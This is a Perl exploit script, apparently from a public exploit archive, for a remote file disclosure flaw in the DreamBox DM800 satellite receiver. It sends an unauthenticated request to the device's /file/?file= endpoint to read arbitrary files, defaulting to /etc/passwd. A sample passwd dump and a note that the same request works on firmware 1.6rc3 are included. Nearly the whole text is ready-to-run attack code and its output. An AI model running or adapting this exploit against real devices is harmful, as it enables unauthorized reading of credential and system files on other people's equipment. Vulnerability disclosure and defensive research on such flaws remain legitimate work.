DreamBox DM800 1.5rc1 – File Disclosure
#!/usr/bin/perl # DreamBox DM800 <= 1.5rc1 Remote File Disclosure Exploit # # Author: Todor Donev # Email: todor.donev@@gmail.com # Type: Hardware # Vuln Type: Remote ##### # Product summary: DreamBox DM800 is Powerful receiver # for digital TV and Radio programs based on Linux. # Product web page: http://www.dream-multimedia-tv.de ##### # playground$ perl dreambox.pl target /etc/passwd # [+] DreamBox DM800 <= 1.5rc1 Remote File Disclosure Exploit # # root:<CENSORED>:0:0:root:/home/root:/bin/sh # daemon:*:1:1:daemon:/usr/sbin:/bin/sh # bin:*:2:2:bin:/bin:/bin/sh # sys:*:3:3:sys:/dev:/bin/sh # sync:*:4:65534:sync:/bin:/bin/sync # games:*:5:60:games:/usr/games:/bin/sh # man:*:6:12:man:/var/cache/man:/bin/sh # lp:*:7:7:lp:/var/spool/lpd:/bin/sh # mail:*:8:8:mail:/var/mail:/bin/sh # news:*:9:9:news:/var/spool/news:/bin/sh # uucp:*:10:10:uucp:/var/spool/uucp:/bin/sh # proxy:*:13:13:proxy:/bin:/bin/sh # www-data:*:33:33:www-data:/var/www:/bin/sh # backup:*:34:34:backup:/var/backups:/bin/sh # list:*:38:38:Mailing List Manager:/var/list:/bin/sh # irc:*:39:39:ircd:/var/run/ircd:/bin/sh # gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh # nobody:*:65534:65534:nobody:/nonexistent:/bin/sh # avahi:x:500:64002:Avahi:/var/run/avahi-daemon:/bin/sh # ftp:x:501:64003:Linux User,,,:/var/tmp/ftp:/bin/false # gbox:<CENSORED>:0:0::/:/bin/sh # # playground$ ##### # Thanks to all my friends and special to the best Tsvetelina Emirska, # that support and respect me !! =) ##### use LWP::Simple; print "[+] DreamBox DM800 <= 1.5rc1 Remote File Disclosure\n"; $host = $ARGV[0]; $d = $ARGV[1]; if(! $ARGV[0]) { print "[!] usg: perl dreambox.pl <host> </path/file>\n"; exit; } if(! $ARGV[1]) { $d = "/etc/passwd"; } ## Edit here for exploitng DreamBox DM800 <= 1.6rc3 # my $result = get("http://$host/file?file=$d"); ## Greetings for ShellVision who found this bug in version 1.6rc3 my $result = get("http://$host/file/?file=$d"); if (defined $result) { print "\n$result"; } else { print "[-] Not vuln.. =("; } |